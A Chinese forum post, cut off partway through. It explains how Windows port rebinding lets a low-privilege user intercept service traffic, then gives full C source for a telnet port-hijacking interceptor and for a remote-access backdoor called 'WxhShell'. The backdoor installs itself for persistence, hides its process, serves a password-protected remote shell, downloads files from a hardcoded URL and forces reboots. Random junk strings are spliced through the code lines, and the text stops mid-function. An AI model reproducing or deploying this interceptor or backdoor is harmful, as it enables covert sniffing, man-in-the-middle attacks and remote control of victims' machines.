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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o!]muO*Rm  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); GI+x,p  
6:fHPlqW  
  saddr.sin_family = AF_INET; 7Ei,L[{\i#  
^tMb"WO  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); \dm5Em/  
_d|CO  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); B0h|Y.S8%1  
R[C+?qux  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Kyf,<z F  
e=>:(^CS   
  这意味着什么?意味着可以进行如下的攻击: 1@dB*Jt  
#x?Ku\ts  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 mY1I{ '.  
K nl`[Nl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) T*Dd% f  
l}bAwJ?  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SmpYH@  
Z<wJ!|f  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &$$o=Yg,  
GI se|[p  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 AiP#wK;  
]u]BxMs  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 t5| }0ID-  
S/itK3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 W)_|jpd[  
Bj=lUn`T:  
  #include = 9Ow!(!@  
  #include i,H(6NL.  
  #include i/C`]1R/  
  #include    }508wwv  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *:5S*E&}V  
  int main() K2XRKoG  
  { :17Pc\:DS  
  WORD wVersionRequested; L@5j? N?F  
  DWORD ret; t)4><22of  
  WSADATA wsaData; D-/q-=zd  
  BOOL val; ?XlPK Y  
  SOCKADDR_IN saddr; %.h&W;  
  SOCKADDR_IN scaddr; J dM0f!3  
  int err; rAn:hR{  
  SOCKET s; +]3kcm7B  
  SOCKET sc; *;&[q{hz  
  int caddsize; 'mELW)S  
  HANDLE mt; Hk1[0)  
  DWORD tid;   ;u8a%h!  
  wVersionRequested = MAKEWORD( 2, 2 ); S-f .NC}:i  
  err = WSAStartup( wVersionRequested, &wsaData ); Ybkydc  
  if ( err != 0 ) { 6e;POW  
  printf("error!WSAStartup failed!\n"); _qxBjB4t"a  
  return -1; 2q NA\-0i>  
  } [.(,v n?6  
  saddr.sin_family = AF_INET; |JL?"cc  
   EV'i/*v}\  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 w;{=  
S4_C8  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f7SMO-3a  
  saddr.sin_port = htons(23); e7Sp?>-d  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) "5!T-Z+F  
  { \{a!Z&df  
  printf("error!socket failed!\n"); Ol sX  
  return -1; O#do\:(b  
  } 3;O4o]`  
  val = TRUE; ;e"dxAUe!^  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 Tc.QzD\  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8345 H  
  { T4nWK!}z  
  printf("error!setsockopt failed!\n"); _UA|0a!-  
  return -1; 4 Aj<k  
  } i91 =h   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ~m'8<B5+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 O**~ Tj  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }G)2HTaZ  
U*:ju+)k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *N |ak =  
  { 4;bc!> sfC  
  ret=GetLastError();  SDc8\ms  
  printf("error!bind failed!\n"); 4J1_rMfh  
  return -1; S\SYFXUl  
  } lu?:1V-  
  listen(s,2); k%TBpG:T  
  while(1) bZ>dr{%%e  
  { #`ZBA>FLaQ  
  caddsize = sizeof(scaddr); AxfQ{>)0  
  //接受连接请求 <}p]0iA  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WfXwI 'y  
  if(sc!=INVALID_SOCKET) '~9w<dSB!r  
  { `Frr?.3&-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); +lXIv  
  if(mt==NULL) x*sDp3f[*  
  { <N:)Xf9`  
  printf("Thread Creat Failed!\n"); S,s#D9NU  
  break; Bp_8PjQ  
  } }BUm}.-{u,  
  } P6I<M}p  
  CloseHandle(mt); (!PsK:wc  
  } %g~&$oZmq  
  closesocket(s); ~dC.,"  
  WSACleanup(); z1^3~U$}  
  return 0; ([dwZ6$/J  
  }   zm{`+boH<  
  DWORD WINAPI ClientThread(LPVOID lpParam) =axuLP))  
  { t#VX#dJ  
  SOCKET ss = (SOCKET)lpParam; #N$\d4q9  
  SOCKET sc; m^~5Xr"  
  unsigned char buf[4096]; D/ VEl{ba-  
  SOCKADDR_IN saddr; .Y0O.  
  long num; gq]@*C  
  DWORD val; MH|F<$42  
  DWORD ret; NcrBp(  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (5;nA'  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   gt9(5p  
  saddr.sin_family = AF_INET; #+N_wIP4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); qj/Zk [  
  saddr.sin_port = htons(23); WH"'Ju5}  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {<$tEj:  
  { FUXJy{n6"2  
  printf("error!socket failed!\n"); po(pi|  
  return -1; (< >Lfn  
  } +w7U7" xQ  
  val = 100; O+|ipw*B%  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V!(7=ku!`  
  { @^<&LG5^  
  ret = GetLastError(); '"+Gn52#  
  return -1; *fs[]q'Q  
  } ^s#+`Y05/  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) BNF*1JO  
  { kl[(!"p  
  ret = GetLastError(); !RPE-S  
  return -1; Vc;g$Xr[  
  } M~7Cb>%<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) lQiw8qD  
  { bIlNA)g  
  printf("error!socket connect failed!\n"); &uF~t |!c  
  closesocket(sc); B9Mp3[   
  closesocket(ss); d >NO}MR  
  return -1; "iGQ1#6|d  
  } sv&^sARN  
  while(1) +'Y?K]zbt  
  { '7}2}KD  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q7r b3d  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 aOw#]pB|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 rT=C/SKP  
  num = recv(ss,buf,4096,0); lo1bj*Y2  
  if(num>0) EP"Z58&$R  
  send(sc,buf,num,0); t%G.i@{pkp  
  else if(num==0) f_$hK9I  
  break; x[$KZGK+GL  
  num = recv(sc,buf,4096,0); /E2P  
  if(num>0) h-|IZ}F7  
  send(ss,buf,num,0); "]uPke@  
  else if(num==0) .vctuy&  
  break; >kxRsiKV  
  } YXZP-=fB>i  
  closesocket(ss); $)$ r  
  closesocket(sc); ^pH8'^n  
  return 0 ; YK[2KTlo  
  } sVBr6 !v=  
xJAQ'ANr  
kI9I{ &J&  
========================================================== }!{R;,5/n  
IU5T5p  
下边附上一个代码,,WXhSHELL Yi,`uJKh  
w;{Q)_A  
========================================================== OF={k[  
M 87CP=yc  
#include "stdafx.h" G[JWG  
N Uv Vhy]{  
#include <stdio.h> :<bhQY  
#include <string.h> |O6/p7+.  
#include <windows.h> KO7&dM  
#include <winsock2.h> N*hV/"joZ  
#include <winsvc.h> 7G^Q2w  
#include <urlmon.h> FNuE-_  
,}]v7DD  
#pragma comment (lib, "Ws2_32.lib") M]p-<R\  
#pragma comment (lib, "urlmon.lib") k7Qs#L  
ZgG~xl\My  
#define MAX_USER   100 // 最大客户端连接数 9) ,|h  
#define BUF_SOCK   200 // sock buffer -)^vO*b 0  
#define KEY_BUFF   255 // 输入 buffer #R:&Irh  
dt@c,McN|Q  
#define REBOOT     0   // 重启 zCQP9oK!  
#define SHUTDOWN   1   // 关机 @8>bp#x/1  
_k26(rdI@-  
#define DEF_PORT   5000 // 监听端口 .D ^~!A  
akNqSZwj  
#define REG_LEN     16   // 注册表键长度 L%(NXSfu7  
#define SVC_LEN     80   // NT服务名长度 Pzq^x]  
eUZk|be  
// 从dll定义API #) :.1Z?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); %cg| KB"l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); d{Jk:@.1  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 1++g @8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); vG'#5%,|  
"^6Fh"]  
// wxhshell配置信息 jd-ccnR l  
struct WSCFG { .MG83Si  
  int ws_port;         // 监听端口 KUYwc@si\  
  char ws_passstr[REG_LEN]; // 口令 -e}(\  
  int ws_autoins;       // 安装标记, 1=yes 0=no ` 6*]cn#(  
  char ws_regname[REG_LEN]; // 注册表键名 lH`TF_  
  char ws_svcname[REG_LEN]; // 服务名 HUD0 @HQI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J<+ f7L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /{`"X_.o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &.?E[db"h  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s5{=lP  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" l*z% Jw  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 |u?VlRt  
_"B.V(  
}; xl`AiO `K  
'nGUm[vh  
// default Wxhshell configuration *|g[Mn  
struct WSCFG wscfg={DEF_PORT, 2[Lv_<i|  
    "xuhuanlingzhe", *l{epum;  
    1, Nj3iZD|  
    "Wxhshell", u%e~a]  
    "Wxhshell", Pb>/b\&JS  
            "WxhShell Service", YLQ0UeDN'  
    "Wrsky Windows CmdShell Service", 6];3h>c]N  
    "Please Input Your Password: ", KS93v9|  
  1, 3sdL\  
  "http://www.wrsky.com/wxhshell.exe",  {Ba&  
  "Wxhshell.exe" y)&K9 I  
    }; ~qeFSU(  
m!Z<\2OP  
// 消息定义模块 ,G%UU~/a  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; =xIZJ8e  
char *msg_ws_prompt="\n\r? for help\n\r#>"; z/xPI)R[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j; y~vX b  
char *msg_ws_ext="\n\rExit."; M yHv>  
char *msg_ws_end="\n\rQuit."; vio>P-2Eho  
char *msg_ws_boot="\n\rReboot..."; f\dfKNm6  
char *msg_ws_poff="\n\rShutdown..."; zaHZ5%{LQD  
char *msg_ws_down="\n\rSave to "; 7$lnCvm  
clV^Xg8D  
char *msg_ws_err="\n\rErr!"; B8T$<  
char *msg_ws_ok="\n\rOK!"; |mQ Fi\  
$U]T8;5Q  
char ExeFile[MAX_PATH]; O1\Hx8^  
int nUser = 0; [z2UfHpt~  
HANDLE handles[MAX_USER]; _ C?Wk:Y@  
int OsIsNt; i cTpx#|=  
]5S`y{j1  
SERVICE_STATUS       serviceStatus; lJ-PW\P  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F!EiF&[\J  
QcQ%A%VIV  
// 函数声明 |A 'I!Jm  
int Install(void); H,L{N'[Xph  
int Uninstall(void); \(P?=] -  
int DownloadFile(char *sURL, SOCKET wsh); ?=M ?v;8  
int Boot(int flag); 4)8VmCW  
void HideProc(void); A)sYde(  
int GetOsVer(void); (^ EuF]  
int Wxhshell(SOCKET wsl); I* C~w  
void TalkWithClient(void *cs); 1Y'4 g3T  
int CmdShell(SOCKET sock); nPXP9wmh4x  
int StartFromService(void); A,DBq9Z+4R  
int StartWxhshell(LPSTR lpCmdLine); 1B2#uhT]r  
v>} +->f  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b^d{$eoH?|  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); PmE)FthdP(  
G$i)ELs  
// 数据结构和表定义 950N\Y @u  
SERVICE_TABLE_ENTRY DispatchTable[] = q%d G>!  
{   < v]  
{wscfg.ws_svcname, NTServiceMain}, p 4> ThpX  
{NULL, NULL} "g ^i%  
}; zk8 )!Af  
Y)X7*iTi'j  
// 自我安装 %DKFF4k  
int Install(void) Yn }Gj'  
{ M/Yr0"%Q<.  
  char svExeFile[MAX_PATH]; Xh;.T=/E|  
  HKEY key; >%U+G0Fq  
  strcpy(svExeFile,ExeFile); hHE~/U  
h.>SVQzU  
// 如果是win9x系统,修改注册表设为自启动 E:pk'G0bZ  
if(!OsIsNt) { ~Xxmj!nOf  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #%p44%W  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); c,2& -T}  
  RegCloseKey(key); <(lA CH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v<!S_7h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kKSGC?d  
  RegCloseKey(key); 8~o']B;lJ  
  return 0; #_ |B6!D!  
    } 4@?0wV  
  } Ocx"s\q(  
} j1K3|E  
else { w'H'o!*/  
a'i Q("  
// 如果是NT以上系统,安装为系统服务 0!|d .jZI  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %vJHr!x  
if (schSCManager!=0) 46A sD  
{ Sr aZxuPg>  
  SC_HANDLE schService = CreateService OT])t<TF6  
  ( +{I_%SsG  
  schSCManager, `uMEK>b  
  wscfg.ws_svcname, Y7}>yC/GY  
  wscfg.ws_svcdisp, !,[#,oy;  
  SERVICE_ALL_ACCESS, yXR1 NYg  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , `Y?VQ~ci>  
  SERVICE_AUTO_START, K.)!qkW-%S  
  SERVICE_ERROR_NORMAL, >S +}  
  svExeFile, r.H`3m.0q  
  NULL, )r9 9zdUk  
  NULL, 2^WJ1: A  
  NULL, d+JK")$9C  
  NULL, l'+3 6  
  NULL 'c s(gc 0  
  ); YO7U}6wBt  
  if (schService!=0) E JkHPn  
  { ;?2)[a  
  CloseServiceHandle(schService); hC:'L9Y  
  CloseServiceHandle(schSCManager); v03cQw\"WE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6$k#B ~~  
  strcat(svExeFile,wscfg.ws_svcname); X1| +9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { p'/\eBhG]=  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); At(88(y-W  
  RegCloseKey(key); gpV4qDXV  
  return 0; EjR(AqZY  
    } Uk?G1]$mL  
  } ;l@94)@0  
  CloseServiceHandle(schSCManager); uks75W!}U  
} D|LO!,=b  
} y7,fFUKl  
b{A[\ "  
return 1; ~R!1{8HP  
} buGBqx[  
u;`]U$Qq9  
// 自我卸载 OpUfK4U)  
int Uninstall(void) Dl;hOHvKk  
{ 7Aqg X0)  
  HKEY key; JmI%7bH@  
7Q .Su  
if(!OsIsNt) { !Z!)$3bB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *d 1Bp R%  
  RegDeleteValue(key,wscfg.ws_regname); kt6x"'"1  
  RegCloseKey(key); _\WR3Q!V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Dh I{&$O/  
  RegDeleteValue(key,wscfg.ws_regname); .G8`Ut Z  
  RegCloseKey(key); 8MJJ w;  
  return 0; ;p(h!4E  
  } @j46Ig4~b  
} k"N>pjgd$  
} %~LY'cfPse  
else { R}&?9tVRR  
:;k?/KU7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); PF{uaKWk  
if (schSCManager!=0) 66v,/#K  
{ 7d:]o>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /G||_Hc  
  if (schService!=0) 9c>i>Vja!  
  { zwfft  
  if(DeleteService(schService)!=0) { 9z7_D_yN2  
  CloseServiceHandle(schService); >ED;_L*_o  
  CloseServiceHandle(schSCManager); sf> E  
  return 0; DSrU7#  
  } 7~h3B<  
  CloseServiceHandle(schService); UUt"8]@[  
  } \((iR>^|  
  CloseServiceHandle(schSCManager); dfDjOZSL  
} I5Vn#_q+b  
} `0d 0T~  
jl,gqMn"V  
return 1; / ;`H )  
} E)v~kC}7.  
uF7vba$  
// 从指定url下载文件 t 7Q$  
int DownloadFile(char *sURL, SOCKET wsh) Y)rK'OY'  
{ R3>q]  
  HRESULT hr; }LUvh  
char seps[]= "/"; F&M d+2  
char *token; 'n &p5%  
char *file; `~GXK  
char myURL[MAX_PATH]; B>2=IZ  
char myFILE[MAX_PATH]; ^{Y,`F  
eD>b|U=/  
strcpy(myURL,sURL); +b|F_  
  token=strtok(myURL,seps); `Y&`2WZ ~  
  while(token!=NULL) $S6(V}yh  
  { Rh'z;Gyr  
    file=token; >q}3#TvP@  
  token=strtok(NULL,seps); 0Wr<l%M)+  
  } 14,)JZN  
UTA|Ps$  
GetCurrentDirectory(MAX_PATH,myFILE); k[Em~>m  
strcat(myFILE, "\\"); H=/1d.p  
strcat(myFILE, file); ]iV ]7g8:  
  send(wsh,myFILE,strlen(myFILE),0); < 5zR-UA>  
send(wsh,"...",3,0); oC&}lp)q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); omfX2Oa2  
  if(hr==S_OK) A*h8 o9M  
return 0;  ti5fsc  
else aBA oSn  
return 1; %'2P4(  
P;5)Net1X  
} OM EwGr(  
pH'Tx>  
// 系统电源模块 wT@Z|.)  
int Boot(int flag) iq;\},  
{ 579Q&|L.  
  HANDLE hToken; e,(Vy  
  TOKEN_PRIVILEGES tkp; <a R  
UylIxd  
  if(OsIsNt) { !yNU-/K  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); (hc!!:N~q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); N_%@_$3G]  
    tkp.PrivilegeCount = 1; '(]Wtx%9"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Wv4$Lgr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (:iMs) iO{  
if(flag==REBOOT) { \mb4leg5  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 2[lP,;!  
  return 0; }?m0bM  
} re/-Yu$'  
else { }9OMXLbRv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xu{y5 N  
  return 0; X9*n[ev  
} lxn/97rA  
  } 1hbQ30  
  else { a~2Jf @I3  
if(flag==REBOOT) { 4H 6t" X  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h,[L6-n  
  return 0; rJ /HIda  
} o$ @/@r  
else { `I7s|9-=  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) a~KtH;7<  
  return 0; IADSWzQ@  
} B>u`%Ry&  
} 8:Hh;nl  
5OdsT-y  
return 1; i4YskhT  
} h7]+#U]mi  
}s2CND  
// win9x进程隐藏模块 :(q4y-o6  
void HideProc(void) W6?=9].gc  
{ |gkNhxzB  
N XB8u6  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 4~ x>]  
  if ( hKernel != NULL ) DgEdV4@p  
  { u>fs yn9c  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6*,55,y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 4K cEJlK5  
    FreeLibrary(hKernel); F=F84 _+K  
  } ww|fqx?  
?>7\L'n=5I  
return; 0A} X hX  
} veDv14  
| .+P ;g  
// 获取操作系统版本 d.}65{F,x  
int GetOsVer(void) jTwSyW  
{ \Fjasz5E'  
  OSVERSIONINFO winfo; GW {tZaB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); CC^D4]ug  
  GetVersionEx(&winfo); _JC*4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) s(_z1  
  return 1; ?g1eW q&  
  else O+!4KNN.-  
  return 0; sm##owI  
} c:Czu  
hw"2'{"II  
// 客户端句柄模块 ]MCH]/  
int Wxhshell(SOCKET wsl) U<Oc&S{]*  
{ J_F\cM   
  SOCKET wsh; 14&|(M  
  struct sockaddr_in client; {GtX:v#  
  DWORD myID; 2dz)rjd O,  
+.djC3^:  
  while(nUser<MAX_USER) g?v/ u:v>W  
{ Q]5_s{kiz  
  int nSize=sizeof(client); Gd!_9S`68  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `K VSYC  
  if(wsh==INVALID_SOCKET) return 1; /Ey%aA4v  
=U84*HAv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $`OyGeq"T  
if(handles[nUser]==0) d/GSG%zB  
  closesocket(wsh); tnpEfi-  
else m 70r'b]  
  nUser++; Z6B$\Q5Od  
  } R1JD{  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~v&Q\>'  
B\D)21Ik}%  
  return 0; }^I36$\  
} o4: e1  
548L^"D  
// 关闭 socket /%&5Iq\:vA  
void CloseIt(SOCKET wsh) 6[t(FcS  
{ 7 @\i5  
closesocket(wsh); ")ys!V9  
nUser--; "3_X$`v"!  
ExitThread(0); t=lDN'\P  
} w[a(I} x  
&fRz6Hd  
// 客户端请求句柄 Na`> pH  
void TalkWithClient(void *cs) ( x% 4*  
{ AQ FnS&Y  
b~ )@e9  
  SOCKET wsh=(SOCKET)cs; q1 HJ_y  
  char pwd[SVC_LEN]; KrP?*yk  
  char cmd[KEY_BUFF]; "T[BSj?E  
char chr[1]; b1^wK"#  
int i,j; NJJ=ch  
%,$xmoj9O]  
  while (nUser < MAX_USER) { Sv=e|!3f[k  
#n&/v'!\  
if(wscfg.ws_passstr) { y?cN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0.m-}  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); f0@*>  
  //ZeroMemory(pwd,KEY_BUFF); #6~KO7}  
      i=0; 7.2G}O6$  
  while(i<SVC_LEN) { xi"ff .  
|t"CH'KJZ  
  // 设置超时 :tbI=NDb  
  fd_set FdRead; cK[=IE5  
  struct timeval TimeOut; I[rR-4.F]  
  FD_ZERO(&FdRead); r4cz?e |  
  FD_SET(wsh,&FdRead); o]V.6Ge-  
  TimeOut.tv_sec=8; eSIG+{;&  
  TimeOut.tv_usec=0; d@^%fVhG  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |L*=\%t8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X}G$ON  
m{$+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v`L]dY4,  
  pwd=chr[0]; %J'/cmR&  
  if(chr[0]==0xd || chr[0]==0xa) { D,*|:i  
  pwd=0; [$K8y&\L  
  break; zT}vaU 6  
  } h#Rza-?"\  
  i++; ;d>n2  
    } G8'{nPA~  
t<c7%i#Od  
  // 如果是非法用户,关闭 socket ObZhQ.&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); RFsUb:%V7-  
} x?A<X2  
L!Tvz(_7f6  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); byP<!p*  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z[&FIG% tV  
P )oNNY6}  
while(1) { D HQxu4  
tKyGD|g S  
  ZeroMemory(cmd,KEY_BUFF); 2\&3x} @  
s[eSPSFZ  
      // 自动支持客户端 telnet标准   :G98uX t  
  j=0; Fnk@)1  
  while(j<KEY_BUFF) { QSzht$ 8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3st?6?7|  
  cmd[j]=chr[0]; gP|-A`y  
  if(chr[0]==0xa || chr[0]==0xd) { gT=pO`a  
  cmd[j]=0; )sQ/$gJ  
  break; 3H<%\SYp  
  } myVa5m!7Q  
  j++; bLWY Tj  
    } cjhwJ"`H  
oR8'^G0<  
  // 下载文件 hl0X, G+@  
  if(strstr(cmd,"http://")) { mw^>dv?  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uDJ;GD[yc  
  if(DownloadFile(cmd,wsh)) z.(DDj  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); lq.]@zlSO  
  else G2y1S/  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rS!@AgPLE  
  } :Hb`vH3 x  
  else { /? d)01  
'y>Y*/  
    switch(cmd[0]) { 'aV'Am+:  
  ) x+edYw  
  // 帮助 aso8,mpZuA  
  case '?': { nVoWER:  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); %=*|: v  
    break; ?vbAaRg50s  
  } 8G$BQ  
  // 安装 <L*`WO]\l  
  case 'i': { wA 7\K~fHV  
    if(Install()) jPo,mz&^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zp:QcL"  
    else ~s-gnp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tBJ4lb  
    break; s8's(*]  
    } &RbP N^  
  // 卸载 yFeFI@Hp 3  
  case 'r': { 7vRp<  
    if(Uninstall()) wC%qSy'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y'b*Dk{  
    else 7@g0>1Fz  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); P RUl-v  
    break; rqp]{?33  
    } qAd=i0{N  
  // 显示 wxhshell 所在路径 6&;GC<].(y  
  case 'p': { $nW9VMa  
    char svExeFile[MAX_PATH]; ?Bq^#i |m  
    strcpy(svExeFile,"\n\r"); 8 3/WWL }  
      strcat(svExeFile,ExeFile); w-R.)  
        send(wsh,svExeFile,strlen(svExeFile),0); zjow %  
    break; /;}%E  
    } JvvN>bg  
  // 重启 j[R.UB3J  
  case 'b': { F7j/Zuj  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Gt?l 2s  
    if(Boot(REBOOT)) Id`V`|q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5_](N$$  
    else { d^M*%az  
    closesocket(wsh); 1anh@T.  
    ExitThread(0); 479X5Cl  
    } N2HD=[*cr  
    break; __7}4mA  
    } PCL ;Z  
  // 关机 9,JM$ Y {  
  case 'd': { &L+.5i  
